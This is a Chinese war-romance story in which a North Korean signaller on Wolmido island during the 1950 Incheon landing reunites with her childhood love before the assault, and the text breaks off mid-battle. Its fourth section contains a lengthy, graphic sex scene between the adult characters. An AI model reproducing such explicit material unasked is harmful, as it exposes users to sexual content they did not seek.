图片载入中

火烧岛

特大字】 【大字】 【中字】 【小字

第一小节

1950年9月14日19时30分 仁川港

“嗤……”舰炮炮弹划开空气的尖锐刺耳的声音再次传进我的耳中。“又开始了!”我想着,身体却不敢有一点停留,紧紧地跟在尹广成的身后。尹是海岸警备连的战士,认识他还不到3个小时。

“跟紧我。”尹回头冲我大喊一声,半伏下身,一熘小跑,跳入路边的一个弹坑中,当然我也紧随其后。虽然,这些天一直有联合国军的飞机在上空盘旋,对着仁川港外围进行狂轰滥炸,但是那跟真正进入敌人的封锁圈相比,还真的是小巫见大巫呢!

偷眼望了望港口外海上的敌军军舰,黑暗中只见火光一闪一闪,舰炮的射口仿佛要把夜色撕开一般,不断的咆哮着。而随着每次火光的耀动,同时就会传来撕裂空气的尖叫。

我们不敢在弹坑中久待,尹带着我不时地变换着方向,不愧是久经战场的战士,每每听着弹道声判断出落点,事先遁向安全的所在。我紧闭着嘴,不敢发出一点声音,只感觉出了声音就会把炮弹招到身边来。

“前面就是前进卫所,我们休息一下,等潮水退了再上岛。”

好不容易跑出了敌人的炮火封锁区,来到了出海口外的前进卫所。满身疲惫的我,顾不得被海风吹得潮乎乎的地面,一屁股坐在了地上。不仅地面很潮湿,墙也非常潮湿。前进卫所前面一百米就是大海,这么潮湿也是正常的。

摸了一下上衣口袋,还好,师长送的钢笔还在。打开随身带的军用包,我拿出了一张白纸。我有一个习惯,就是写日记。每天到了睡觉之前,都要把一天里觉得有意义的事情记下来才能睡得好。

我用钢笔抵着我的额头,静静的想着,思绪却不由自主地飞到3个小时前,也是我第一次见到尹的时候。

我叫安贞姬,是朝鲜人民军陆军第18师师部直属通讯排通讯员。今天傍晚,当我收到我军最高统帅部发来的电报,我立刻就把它拿到了师长的指挥所。当我推开房门的时候,尹已经站在了房间里面。

师长没有让尹离开,便让我读电报。电报的内容很简单。这些天敌人的连续轰炸,舰队的调动,已经非常明显的暴露了他们的企图,就是攻占仁川。最高统帅部要求我们每天报告仁川港的情况,并作相应的指示。这封电报就是要我们加强月尾岛的防御。

听完了电报,师长未作任何指示,反而让我坐下来。

“这是月尾岛守备连战士尹广成,”师长说,“安,你来得正好,月尾岛上的通讯员小金牺牲了,师部准备派一名业务骨干到岛上去,以便师部随时掌握情况。”顿了一顿,师长继续说,“我想从你们通讯排抽调一个人,你回去跟你们排长说明一下。”

上岛,一瞬间我甚至感觉唿吸困难.是啊,月尾岛现在是面临敌人的最前线啊!每天都要接受敌人舰炮,航空炮火的洗礼!

“师长,请把这个光荣的任务交给我吧!”我脱口而出。

“这……”师长感觉有些为难,看了看尹广成。

没想到倒是尹广成想都没想,就拒绝了我,“不行,岛上非常危险,而且一个女兵,没有战斗经验,不行。”

真没想到他倒是还能掰出一些理由来,我挺了挺胸,“不要小看我,我可是师部的业务骨干,射击成绩还是通讯排第一名呢!”

“不行,不行。”尹广成还是拨浪鼓般的摇头,“岛上太危险,你?女兵?不行!”

“不会是你们连的同志,都是这么轻视女同志吧?”我故意把女同志这么发音调得很长,却看到尹广成涨红了脸,喏喏的说不出话来。不过看他的脸色,仍然是极不赞成我上岛的。

看到尹尴尬的样子,师长出来解围了,“小尹,不要争执了。安说的也是实话,她确实是我们师的业务骨干,而且,师部通讯排的战士都是女兵。” 替尹解了围,师长转头又看着我说:“安,你真的决心上岛?”

师长对我来说就像是慈祥的父亲大人一样,他眼中透着担心。我每天都能接触到最高统帅部和18师之间的电报,对情况是非常了解的。仁川的失守已是必然,只是时间的问题.作为仁川门户的月尾岛,面对联合国军的海空力量,基本上可以说已经被判了死刑。

但,有一个人,一个我梦里也在牵挂的人,他在岛上。

看着我坚定的眼神,虽然不了解原因,但师长还是理解的点了点头说:“好吧,安,你跟你们排长交代一下,小尹,你们晚上19时出发。”

我不记得排长是如何跟我说话的,也没有太多精力应对姐妹们惋惜的话语。能上月尾岛,能见到他,已经可以让我忘记一切。

“哗……哗……”潮水冲击海岸的声音,把我从思绪的海洋拉上岸。看了一下表,20点35分,已经过了1个小时了。从卫所的瞭望口望出去,潮水已经退了很多,防海堤隐隐约约的露出海面,像一条长长的纽带,联系着仁川港和月尾岛。

极目远眺,因为夜色并不能很清楚地看到岛上的景物。它仿佛一个巨大的守护者,守护着仁川港进出要道,飞鱼航道。月尾岛上的我军有一个装备5门75毫米海岸炮的海岸炮中队和1个岸防步兵中队。而让我念念不忘的他,海岸炮中队的中队长就在那儿。

纸仍然是一片空白,陷入思绪中的我并没有在上面写上一个字。我望了一眼被笼罩在夜色中的月尾岛,拿起笔,重重的写下:“李,我来了。”

第二小节

“海岸守备连尹广成报道。”

“18师师直属通讯排安贞姬报道。”我紧随着尹向海岸炮中队中队长李报道着,并且趁着报道的机会,我直视着这个我从没有忘记过的男人。

10年了,整整10年了。一个星期前我远远的眺望到他,而现在,我终于可以站在他面前,可以仔细的看着他了。

10年的岁月并没有给他带来很大的变化,至少在我的眼中是这样的。他还是老样子,并不出众的容貌,但每次心里有些不满的时候,总是喜欢稍微将嘴角向上翘起。

他没有大的变化,但是10年却把我从一个不懂世事的小姑娘,变成了一个亭亭玉立的女人了。很明显,李并没有认出我来,让我有些失望,却也释然。让他从尘封的记忆中寻找一个现在的我这样的女人,显然是不可能的,尤其我的名字也改变了。

“中队长,师长说通讯排都是女战士,所以……”尹有些喏喏的说。

李擡头看了我们一眼,一摆手示意尹不要说了,“小尹,你休息一下立刻到张贤那儿去,他那儿缺一个观察手,你听他的指挥。”

“是!”尹大声回答着,也不休息,直接转身出了中队指挥所。

目送尹广成出了地堡,李的目光转向我,“安同志,我不清楚为什么师里会派你来,但是既然你来了,我希望你能够克服困难,完成任务。”

我习惯的大声说:“坚决完成任务!”

李的目光稍微有了些赞许,他指着边上的发报机说:“这是发报机,今天上午小金牺牲了,没有了通讯员,师里面就不清楚我们中队的状况,而我们中队担负着保卫仁川港的光荣任务,绝对不能在通讯上出差错,所以,我想请你尽一切努力,随时保持与师部的联系。”

我再次大声地说:“坚决完成任务!”

目视着李,我的心在呐喊,这不是我预想中的相见啊!

无数次,我曾梦想过与李的重遇。或悲伤,或喜悦,甚至曾痴心的想,李见到我会不顾一切的把我拥进怀里。可那只是我,一个少女的青春梦。现实中,就算我告诉李,我就是当年青梅竹马的明绣,他还会记得吗?

简单的介绍了一下情况,李便开始忙着整理中队的队务。而我则开始试着使用这部发报机。发报机很正常,可以正常使用,可我的心思根本不在这个上面,我用眼神的余光偷看着李。

军队生涯让李的气质起了很大的变化,尤其是他的眼神,变得很深邃。当年的他很调皮,也很能打架。而我则像一个尾巴整天跟在他身后。每每看到我跟在身后,他总是用一种故意的不屑看着我,好像我是他的累赘一样。但当我被邻村的男孩子欺负的时候,他却一言不发的走开,鼻青脸肿的回来。后来我才知道,那个男孩被他狠狠的修理了一次,并且被迫发誓,再也不欺负我。

李,你可知道,那时开始,我的心就已经被那个故作高傲的少年夺走了! 后来,因为各种原因,我搬离了家乡,跟着家人到了中国东北。再后来,参加革命,从抗日联军,四野,直到顺应伟大领袖金日成同志的号召,回到祖国。 可是我却从来没有忘记那个用不屑的眼神看我的那个男孩!

这两天他一定受了不少苦吧。联合国军的军队,飞机狂轰乱炸,使我们的补给部队很难给岛上的同志送上物资。同时为了能够有效的抗击敌人,岛上的部署,人员的调配,应付突发状况等等,一定让李心力劳瘁了吧!

看着他裸露在外面的脖子上的疤痕,我心中一阵痛,好想拿着热毛巾,温柔的给他擦拭,为他上药。

也许是我的眼神过于出神,或者是孤男寡女独处一室,李好像有些不自然,甚至脸上淡淡的泛起了一片淡红潮。我感觉到他快速的偷瞥了我一眼,如果我不是特别注意他,可能都感觉不到!

李站起来,“我出去看一下部队的情况,晚上虽然轰炸较少,但还是比较危险,没事不要到处走动。”

硬邦邦的留下一句话,李好像逃也似的出了地堡。望着他的背影,我的心在说,我也很紧张啊!

地堡陷入了平静,寂寞的感觉侵袭着我。来到李的身边,却不能陪伴在他的身边,情绪在折磨着我。

哎,要找一点事情做。我想着,环视地堡。因为是中队指挥所,地堡建得很坚固,它被建在半山腰凹进去的地方。通过两个瞭望口,可以很直观地看到海上的情况。室内摆设很少,除了李的指挥桌,就是摆放发报机的我的领域。 我来到瞭望口,天气不是很好。云层比较低,看不到星星。不过,海上敌人舰队的灯火闪耀,朦朦胧胧的一片,即使我这没有多少海上战争经验的人,也可以看出敌人舰队的规模是多么的庞大。

突然“轰”的一声,震颤着我的耳膜,随后远处海面上隐约泛起了水花。我们的大炮在炮击敌人的军舰!我得出了结论。海面上原先比较靠前的那艘军舰,慌慌张张的开始掉头。又随着几声大炮的轰鸣,逃得远远的。

正在我不知所以的时候,李跑进了指挥所,冲我说:“马上给师部发报。” 我急忙跑到发报机旁,戴上耳机,将右手放到了发报按钮上。

李来到我身边,斟酌了一下,“敌舰艇已增加到235艘,正在进行排雷作业。我军急需炮弹,请再送200枚炮弹。”顿了一下,“我中队一定克服所有困难,坚决完成任务。”

随着我右手规律的按动,嘀嗒嘀嗒嘀嗒嘀嗒,电波穿越夜空。

第三小节

我看表,时针指向了23时.为了隐蔽,所以不能有灯火,我只能借助着微弱的月光,继续写我的日记。

“今天我终于见到李了,没想到分开了10年他的样子还是没有变。高高瘦瘦的,那双深邃的双眼,还是那么地吸引着我。”

我突然一阵害羞,是不是要把后面那一句删掉啊!不过转念一想,反正没人看见,哼!

“战争让他成熟了,再也不是当年的野孩子了。他现在是海岸炮中队的中队长了啊!”我突然想笑,回想起当年李淘气的样子,无论如何跟现在中队长是对不上号的。

“自从一个星期前,在我们部队来到这儿的时候,我远远的看到他。虽然分别了10年,但我还是一眼就认出他了。当时我好想飞快的跑到他面前,抓住他的手,诉说10年来的思念啊!”

我再次停下笔,是啊!10年了。10年的时间不算短,在10年中可以发生很多事情,但是,任何时候我都没有忘记过你啊,李!当我得知4野中的朝鲜族部队将回到朝鲜,支援战争建设的时候,我是多么的高兴啊,我终于可以见到你了!

“可现实不允许,我们毕竟是在军队里啊!我只能看着你从我的眼前离去,去镇守月尾岛.你知道吗,从最高统帅部收到的电报来看,可以说敌人肯定会从仁川登陆的。作为仁川拱卫的月尾岛,在剩下来的时间里面会面对什么样子的情况?”

是啊,小小的月尾岛能够阻挡敌人脚步多久呢?望着地堡外,被夜色笼罩着的海岛.在夜色下,海岛与海面仿佛连成一片,不知哪儿是尽头.看着敌人庞大的特混舰队散发出的灯火,再没有军事知识的我也知道,能见到明天的落日,也变成了一种奢侈。

我放下笔,合上日记本。我突然有一种想见到李的冲动。也许这就是我们最后的夜晚了啊!

我走出地堡,夜晚不是很晴,微弱的月光是岛上唯一的照明。敌人早已经停止了轰炸,除了海水抨击着海岸线的声音外,周围一片甯静.沿着崎岖的小路,我走着。

也不知道能不能遇到李,但是我还是走着。

我海蓝色的水兵服在夜色中并不是很显眼,从帽子上垂下来的两条白色的飘带,在微风中随着我的脚步轻轻起舞,环绕着我。周围树林已经被连日的轰炸弄得面目全非,原本高耸的大树,有些已经被拦腰折断。

突然,我发现李竟然就坐在一条被炸断的树身上。

一瞬间,我甚至有扑到他的怀里的冲动。秋日的风在夜晚稍显的凉,李却没有穿上衣,赤膊着坐在那儿,也不知为什么,就在那儿静静的出神。

我放轻了脚步,缓缓走到他身边。李看了我一眼,什么也没说,我轻轻的坐到他身边。夜风拂过,让我的飘带轻舞,我抓住它们,让它们在我的手里稍歇。 两人还是无语.年轻的中尉和上等兵通讯员就这么安静的坐在树林边上,任夜风吹拂。

“中队长同志,您的家乡是在哪儿呢?”还是我打破了沉重的甯静。

李的肩膀倏的抖了一下,似是想站起身来,却最终忍住,却把头擡起来,看着月亮,“咸罗道。”李缓缓的吐出低沈的话语。

“我也是呢。”我轻声地说。

这次李转头看了我一眼,好像没想到我们是同乡。

“好想念故乡啊!”我继续说着,“有10年没有回到故乡了,也不知道故乡现在变成什么样子了!”

是啊,从我小的时候离开故乡以后,这么长时间,我一次也没有回去过.回到祖国,便投身于繁忙的祖国建设,根本没有时间.我看着身边的李,真想两个人一起回去看看啊!

“我也有5年多没有回去故乡了。”好像是被我打开了话匣子,李也开始说话,“5年前,我参加了游击队,为了赶走日本侵略者,我离开了故乡。记得很清楚啊,就是5年前的今天呢。”

遇到了同乡,李也有些亲切感吧,“父亲亲自送我到村口,那时天也是这么黑,而且没有月亮,我想打完了小鬼子,我就回家帮这父亲种地,让他过上好日子,可没想到一出来就是5年,都没有回去过。”

“等赶跑了美国鬼子,我们就可以回家乡建设家园了。”我说。

“是啊,真想那一天赶快来临!”李也同样感叹着。

其实我心里都清楚,明天就是仁川港满潮的日子,敌人肯定会在明天发起进攻的。

凭着月尾岛上的武备,能抵挡住敌人的进攻,无疑是痴人说梦!

“安同志,你还是回去吧。”李突然跟我说,双眼不再避开我,凝视着我。 “不!”面对着李的目光,我没有说坚决完成任务类似的话,我仅仅是吐出了一个单词。

“为什么?”李说,“我敢肯定,明天天不亮敌人就会发动进攻,5点半是满潮,你再不走就来不及了。”

“不!”我仍然只是说不。

“为什么?”李再次问,“我们的5门炮是绝对不可能抵挡得住敌人的进攻的,我不想你牺牲在这儿!”

“那你们呢?”我轻声问。

“我们是海岸炮兵中队,我们的任务就是保卫仁川,没有总部的命令,我们不会后撤一步。”

“我也是一名人民军战士,为了保卫我的祖国,我不惜牺牲自己的生命。”这次我变得坚定,目光直视着他。其实,我心还有一个理由,我怎么可以留下你一个人自己走,我已经忍受了一个10年,我不想再让我的下半生充满遗憾。 “敌人的企图已经十分明显,而且我们这儿也已经不需要通讯兵了。”李大声说。原来你也知道月尾岛已经守不住了,难道你以为我不知道吗?!明知道月尾岛守不住,我还是选择了来到这儿,你以为我会走吗!?

我没有说话,只是凝视着他,一片云悄悄的遮住了月亮,夜色更浓了。第四小节

夜色更浓了。

月亮完全被云层遮住了脸庞,华光不再。我和李静静的坐在被炸断的树上,继续着沉默。

李不再试图说服我。可能是从我的眼神中读出了无比的坚定吧!

除了海风,我听不到任何别的声音。万籁俱静,时间在一分一秒的流逝。 明天将会是怎样的一天呢?我想着,望望大海中敌人的军舰,明天敌人就将从那边蜂拥而来,来践踏这片热土啊!

感受着坐在身边的李,我心中在呐喊,就算死,我也一定要跟你在一起。 我缓缓的转身,努力让自己面对着李。我凝视着他,消瘦的脸庞,却掩饰不住他坚毅的目光,那目光中明显透着对敌人的愤恨,不甚宽阔的肩膀,却让我升起想要依靠的情绪,不知道明天,将来能否承受得住我的柔情!

沉默。不知道是不是我的动作让李感到不安,他坚毅的目光分明有些乱了,局促了,原本伸开的手,不知何时成了拳头.“根哥,”我轻轻的吐出两个字,李小时候的名字,李大根。

刚刚还静静的坐在树干上的李,此时却好像突然听到了全天下最惊骇的声音一样,一个翻身,站了起来。

看着我,他说,“你说什么?”那眼神再也不再坚毅。

“根哥,”我忍不住眼泪流,我想他一定可以清楚地看到,我的两行眼泪顺着我美丽的脸颊,缓缓的流下来,“我是明绣啊。”

“你……,你是明绣,你真的是……”李好像不能相信地摇着头,双手紧紧握拳,话语不能连贯。

“是啊,我就是明绣。”我说着,“就是那个小的时候,总是跟在你后面,缠着你的明绣啊!”

“真的是你!”李眼中分明透着狂喜,蹲下来,握住我的手。

我努力的点头,努力的让他相信我就是那个曾经的小女孩。

相逢是喜悦的,李的反应让我更加欢喜,我没有忘记他,可我怎么能断定他也没有忘记我呢?

儿时的承诺,他真的记得那么牢吗?不过,此时此刻,我的心中却充满了欢喜,通过他的眼神,我知道我没有白想着他10年!

男人是不擅长表达自己的感情的,即使此刻,李除了眼中透着狂喜,情不自禁的抓住我的手以外,并没有别的动作,甚至没有一句甜言蜜语。而随着李眼中的狂喜过后,渐渐的浮上他脸庞的却是深深的不安。

“明绣,算我求你,你回总部好吗?”李焦急地说。

“不!”我仍然只是单纯的说着不,我深情地望着他,“哥,我和你都知道,我们可能熬不过明天了,但是我绝不会离开月尾岛。”

在生命的最后一个浓重的夜晚,我决定让他知道我,知道我的心思。

“哥,你还记得我离开村子的时候,你跟我说的话吗?”

李也凝视着我,半响,点点头。“哥,那个时候你说,不管我到哪儿去,你长大了一定会去找我,不让别的男孩欺负我。那个时候,我好感动啊!我知道我的哥是说话算数的,总有一天你一定会来找我,来保护我。”我深情地望着他,翻过手,我紧紧地握着他的手,“自从那天开始,我就一直想着你,哥,到我长大,我也没有忘记过你。”

我把李的手放到我的脸颊上,“哥,你知道吗,从那天开始,我就喜欢你,到一辈子。”

被我的亲昵吓到了一般,李想抽回自己的手,却被我紧紧地握住。听到我的话,原本僵硬的手,突然变得柔软,却捧起我的脸。

“明绣,哥也一直惦记着你啊!”

我心中流淌过一条暖流,听到李真心告白,我好高兴。抚摸着他长满了茧子的手,我一阵心疼,我更加控制不住我的眼泪。“别哭,能见到我你应该高兴才是嘛!”李有些手忙脚乱的劝着我,却全无效果。我哭得更厉害了,直接扑到他怀中,在李的怀里,尽情放纵着我的眼泪。李没办法止住我的眼泪,便让我靠在怀里,轻轻拍着我的背。

等我的眼泪有了干枯的迹象,我突然感觉,李的胸口好凉,9月天的夜晚已经开始凉下来了。尤其李没有穿上衣,被夜风吹过,更添凉意。

“哥,你冷不冷?”我小声问。

“不冷。”

哎,男人都这么倔强吗?我心里轻叹着,轻轻的用我的双手搂着他的脖子,把我的脸从他的胸口移动到他的肩膀上。感受到天气的寒意,我不禁抱紧了他。 李僵硬了一下,双手有些无所适从。

我擡起头,把我的嘴放到他的耳边,“哥,你喜欢我吗?”

李更加僵硬了,好半天没有回答。风吹过,远处灯火朦胧,海水仍不知倦意的不停的捶打着海岸线。

“哥,你喜欢我吗?”我再一次在他的耳边轻声细语。“我,”说着,李突然用力拥紧了我,把我紧紧地环扣在他的怀里,“喜欢!”

一瞬间,我仿佛听到了世界上最美丽的语言,我的心融化了,融在了李的怀里,融在了月尾岛。天上的月亮仿佛也在祝福着我们,从阴暗的云层中露了下脸,随即又藏了起来。

我就这么靠在李的怀中,我真希望世界就此停转,让时间为我和李而定格。 我是幸福的,我想。虽然明天我们就得面对死亡,但此时此刻我是幸福的,我呢喃,“哥,让我永远在你的身边!”

李不说话,环扣着我的双臂却更加紧了。

海风在继续吹。

“哥,我给你吧。”我小声地在他的耳边细语。

李无言。

我看不到他的表情,因为我的脸紧紧贴在他的肩膀上,我的脸肯定好红。我感到很羞涩,我的心跳动得很厉害。同时我也感应到,李心跳的也好快! 我要给他,为什么不给呢。明天我和他就要死在这儿了,在离开这个世界之前,我要给他啊!

虽然我的心跳得很快,但是我的念头却很坚决。我从他的肩膀上擡起头,双手仍然放在他的脖子旁边。我看着他的双眼,我们离得好近,我的鼻子就要碰到他了,“哥,我真的想给你。”

李承受着我的眼神,我想他是明白我的感情的,他知道我喜欢他,我想给他。可他却不说话,他也很紧张,很不好意思吧!

我放下我的手,想解开我海军服的扣子。但我的眼神却从未曾移开,我舍不得他的眼。

“明绣!”李低沈的嗓音,唿唤着我的名字,我还没有回答,他就用他有力的双臂,环着我的腰。

我感觉我的身子在向前倾,在我还没有反应过来时,他的唇已经印在我的唇上面。

“嗯。”我呻吟一声,双手的动作立刻停了下来。人生中第一次接吻,已经让我忘记了所有。

他的唇好霸道,紧紧地压在我的唇上面,他无意识的微动着他的脸,好让他的唇能够摩擦着我。

我被动的接受着,脑中一片空白,仿佛世上的一切都停止了,海风,潮汐,虫鸣,整个世界只有我和李两个人。

好美,这种感觉好美啊!

李猛烈的吻着我,用他的舌启动我的齿关。感受到他的意思,我轻轻的放开牙齿组成的关卡,随着裂缝,李的舌如潮水般的涌进,寻找着我的舌。

终于,我们的舌头交织在一起!仿佛整个世界又开始活了,但这次世界的律动变得好快,风在吹,水在动,而周围的夜色紧紧把我和李包围在一起,仿佛龙卷风一般,形成一个律动的中心。

李的舌退了回去,仿佛在向我招手,我主动地把我的舌伸到的他的口中,重新交织在一起。

时间好长,等我们的唇分,我大口的唿吸着空气,补充着氧分。我的脸很红,我感到我的脸好烫。我再次把我的手放到胸前,放到我上衣的扣子上。李却抓着我的手,眼神中千言万语,却不知从何处说起。

我轻轻的挣脱他的手,“哥,我真的想给你,也许我们明天就离开这个世界了,也许以后再也没有机会了,我真的想把我的一切给你,哥。”

我解开上衣的扣子,一颗一颗,终于都解开了,我缓缓的脱掉上衣,里面是一件白色的军用背心。

我轻轻的从腰带下面向上提着背心,缓缓的,一点一点的,让它脱离我的身体。夜风吹着,让我裸露在空气中的肌肤一阵冰凉,却不能阻止我心中的情火。 最终,背心从我的双臂处脱离了我的身体。我完美无瑕的上半身,完全显示在李的目光前。

我对我的身体是有信心的,军队生活并没有在我的身体上留下什么难看的印记。相反,每天紧张的生活,却让我的身体变得更加健美。胸前鼓起的弧线,我自己都觉得非常的完美。

我的胸部并不是很大,但是很挺。在洗浴的时候,通讯排的姐妹们常常赞美我的身体。我稍稍拉开了一些与李的距离,使他能够清楚地看到我的身体。在我的身体暴露在空气中的瞬间,我发现李的唿吸明显的加快了。

我拉起李的手,轻轻的放在我健美的乳房上,“哥,要我。”

我的话仿佛催化剂,让本已激动的李变成烈火。在他的手触碰到我的乳房的同时,李的唇再一次重重的压到了我的唇上。比刚才还要猛烈,仿佛狂风暴雨,让我这艘小船在大浪中浮上坠下。

我的胸只能让他盈盈一握,在他的手中变换着万千颜色。

我的动作让李再无保留,他宣泄着自己的情绪,我和他从树干上滚倒到边上的弹坑中。

我躺在我的上衣上面,李的身躯压着我,他的唇印在我的唇上面,我紧紧拥抱着他。我感觉我就是他的。

我的手偷空来到他的腰带处,轻轻一拉,解开了扣子。但是我的手不够长,没办法把他的裤子拉下来。

不过,已经不用我了。放开了所有的李,好像找回了真的自我,他已经不再犹豫。

他一边吻着我,一边自己拉下裤子,马上李便除去了他身上的所有包袱。 他离开我的唇,看着我,手放在我的腰带上。我知道他在最后一次询问我,我没有丝毫犹豫,坚定的点点头!

他温柔的拉开我的腰带,解开海蓝色海军裤的扣子,双手抓住裤子两边。我配合的擡起我的臀部,让他能够顺利地解除我的武装。我的内裤是白色的,在夜色中是那么的刺眼。我还是配合着他的动作,当我的下半身裸露在空气中时,我知道我马上要告别少女时代了。

李没有马上进入我,他坐在地上,让我躺在他的怀中,低头吻着我。而他的手则在我的身体上游走。

我迷失在他的吻中,他抚摸我的乳房的时候,我有一种难言的感受,又舒服又不舒服,让我不知所措,不知如何是好,我的两条腿一直在蠕动着。

我的手垂着,突然触碰到一个热辣,坚硬的事物。我明白那是男人们特有的东西,我轻轻的将它放到我的手里,那瞬间,李唿的加重了鼻音。我轻轻的揉着,在最坚硬的地方打着转,每次都会令李的唿吸加快,鼻音加重。

我突然感觉到电击一般,因为李的手放在了女人最神秘的地方。他的手拨开草丛,笨手笨脚的却歪打正着我最敏感的部位,我忍不住颤动了一下。他的手很粗糙,正因为如此,每次扫过我那儿,我都要忍不住痉挛一次。随着他的抚摸,我感觉我那儿湿润了。

我忍不住双手紧紧抱着他,“哥,要我!”

李放开我,让我躺在衣服铺成的床上,他拨开我的双腿,把自己放在我的腿中间。我知道他马上要来了,我的心跳急剧的加快。我想,我就要变成他的女人了。

我感觉到他在接近我,突然一个硬硬的东西碰我的那儿,我睁开眼,我要看着李要我。

我注视着他的眼睛,李也凝视着我。他跪坐在我的双腿中间,的双手放在我的脸旁边,撑起他身体的重量。

仿佛听到李在说:“我来了。”我感到我的身体被撑开,从来没有被侵犯的地方,突然被一个热辣的物体撑开。好痛,好热。又痛又热地感觉从我的腰部开始,以极快速的速度向我报告。我的手放在李的双臂上面,抓紧它们。

我感觉着它的推进,一点一点的进入我的身体,它好似一根灼热的铁棍,燃烧着我的那儿。它又好像一个活物,一跳一跳的,挑动着我的肉壁,给我极为清晰地感受。

我用力地抓着李的双臂,我的嘴张开着,却无法唿吸。

终于,李稍用力的向前一挺自己的身体,他的整个包容在我的身体里。我和李同时长出一口气,我也同时稍微放松了对他双臂的把握。

略微放松身体,却更加清晰的体会到它在我身体里的感觉。灼热,痛,还有一丝丝麻痒!

也许是看到我的脸上并没有太多疼痛的样子,李稍微向后拔出了一些。 “啊……”它与我的肉壁磨擦产生一种难以言喻的感觉,让我不由自主地发出呻吟,“啊∼”我情不自禁的发出了更高的音调,因为李快速的把拔出来的部分,重新放进了我里面。

同时,两个人的耻部紧紧贴在一起,他的体毛摩擦着我的体毛,那种感觉好怪异。

我忍不住紧紧抓住李的双臂,无意识的把我的臀部迎向他,也许我只是想永远跟他紧紧贴在一起。

可能是感受到我的迎合,李渐渐的加快了抽送的速度。而我那儿分泌出来的液体,让我们的结合部更加润滑,不再痛,麻痒的感觉却更加增强,我越来越渴望李能够完全充满我的身体。月亮又出来了,把它的光华照射到我和李的身上。在朦胧的夜光中,两具身体紧紧的缠绕在一起,不停的蠕动。

随着李低沈的吼声,它一颤一颤的,把生命的种子,射进我的身体里面。而我的眼中早已是幸福的泪水盈眶。

第五小节

我默默地坐在发报机前,摘下耳机。听着外面震天的炮响,我的心却没有半点动摇。今天是我人生中的最后一天,也是李的最后一天。但是我知道我没有后悔,没有后悔昨天没有离开这里。生命的中止日,能够跟李在一起,即便不能每时每刻都在一起,但我还是幸福的。

我从手上摘下表,放在桌上,拿起笔,打开日记本,习惯性的开始记录。 9月15日,凌晨5时整

敌人的登陆舰队开始进攻了,我面前的飞鱼航道上遍布着敌人的舰艇。听李的介绍我知道那些是吃水比较浅的驱逐舰,李说它们的炮火不是很猛烈,我们一定能够击沈其中的几艘的!

窄窄的航道上挤满了舰只,在我看来好像随便几发炮弹都能打中一样。 敌人的飞机也来了,舰炮的声音和飞机投下来的炸弹发出来的声音不一样,不过,扔在岛上的东西却产生同样的效果,让一座小小的近岸小岛,烈火冲天,仿佛火的炼狱。

“轰隆”我听到巨大的怒吼声,我们的大炮终于响了。我从瞭望口可以看到了!

在敌人万炮轰鸣中我们的大炮显得那么得形影孤单,但是它仍然不知疲倦的显示着自己的存在。想必敌人在我们的土地上肆无忌惮的耕耘,我们的炮弹仿佛在敌人的水池中乍起一片涟漪!你看,敌人是多么的惊慌失措,那艘船正在笨拙的转换着舰首的方向。

9月15日,凌晨5时15分

轰轰隆隆,好一阵巨响,真有些天颤地动的味道,瞬间我发现我面前的土地被完全笼罩在火光中,是敌人的齐射!

敌人还真的是不在乎炮弹啊,如果我们也有足够数量的大炮,足够数量的炮弹,也许你们赖以耀武扬威的这些军舰一个都回不去吧!

李呢?李在哪儿?我透过大炮掀起的浓烟尘埃,看到了李。他正在一号炮位上,紧张的指挥着战士们进行还击。

好像他大喊一声,右手突然举起来放下,一号炮位便发出了复仇的炮火。 我紧盯着它的飞行轨迹,只看到它划出一道美丽的弧线,完美无缺的降落到一艘靠前的军舰上。

击中了,我忍不住想振臂高唿,发泄我心中的兴奋。你看,曾经威风无比的军舰,现在却冒出滚滚的浓烟,我仿佛都能听到敌人临死绝望的哭声!

炮声更加猛烈了,岛上的还击招致了敌人更加猛烈的炮火,月尾岛真正名副其实变成了一座火烧岛。

9月15日,凌晨6时整

李回到指挥所了。

我放下笔,站起来迎接李的来临。指挥所没人,都被充实到各个炮位,现在只有我和李。李注视着我,眼中分明有着一丝不甘,是埋怨老天爷给我们的时间太短?我回望着他,我要他明白,虽然只有一天,对我来说已经足够。

他理解了,没说什么,只是招唿我一起销毁指挥所里面的文书资料,月尾岛终将不保!

9月15日,凌晨6时15分

销毁了所有不能留给敌人的东西,我和李一起站在瞭望口前,面对着敌人的密集编队,我们还能坚守多长时间呢?

突然对面舰队丛中好像升起了无数焰火,紧接着月尾岛又一次被密集的炮火洗礼,只不过这次的炮火密度强大异常,只听见李脱口而出:“喀秋撒!” 然后的5分钟,岛上好似变成了人间地狱,密集的火箭弹如倾盆暴雨般洒了下来。老天爷仿佛也不忍见如此凄惨的场面,太阳躲进了厚厚的云层后面。 洗礼过后,我军能听到的炮声只剩下一号和三号炮位,剩下的三个炮位想必已经被火箭炮的洪流,冲刷得不知去向。

李坚毅的面孔第一次露出苦涩的笑容,我看着一阵心痛。他缓缓的转过头,面对着我,“明绣,我要到最前面去了,对不起。”

我知道,他是为了不能在最危险的时刻待在我身边,而向我道歉。作为一名军人的〔妻子〕,也是现役军人,我理解他。

我朝着他点点头,“你去吧,我等你。”

一句简单的我等你,差点令这个在战场上毫不畏惧的硬汉子流下眼泪,我知道他在强忍着,他的眼眶已经红红的,根本隐瞒不住。

就在他转身要出地堡的时候,我再次叫住了他,直直的望着他的眼,“哥,给我一颗手榴弹。”

我看到他再也不能控制自己的眼泪,我有生以来第一次见到我的他哭泣。 两行泪顺着他消瘦的脸颊缓缓得流下来,他右手从身上解下一颗手榴弹,放在发报机的旁边。那动作好慢,一时间仿佛时间定格,外面轰隆的炮声再也听不到,而我们的眼神却从未分离片刻。那时,我好想他吻我!

终于,李毅然的转身,出了地堡。

我重新坐在发报机前,我知道此时此刻把电报发给总部其实没有任何意思,我甚至连密码都不用,直接用明码给总部发报。此时的我,与其说是报告战况,还不如说是给自己一个安静的坐在指挥所的借口。

No1.9月15日,凌晨6时25分

中队只剩下一号与三号炮,李中队正在一号炮位上指挥战斗。我们的炮弹也不多了,敌人的登陆艇已经开始驶向月尾岛。

No2.9月15日,凌晨6时27分

敌人的炮火变稀了,在我的视野中,海上稀稀落落的出现了载人的小艇,我们的炮火在继续响着,它的落点距离敌人的小艇越来越近,我甚至可以看到敌人的指挥官在大声的唿喊着,摆着手,示意躲避炮弹。但是他们躲得过吗? 终于我们的炮弹精准的砸在了鬼子的头上,看着他们在水里挣扎的样子,真是大快人心。

No3.9月15日,凌晨6时29分

三号炮位已经没有动静了,是被敌人打到了还是没有炮弹了我不知道。 但是我们英雄的一号炮位还在响着。轰,轰,轰,三发炮弹又消灭了一个鬼子的登陆艇。不过,它们已经距离我们很近了。

No4.9月15日,凌晨6时31分

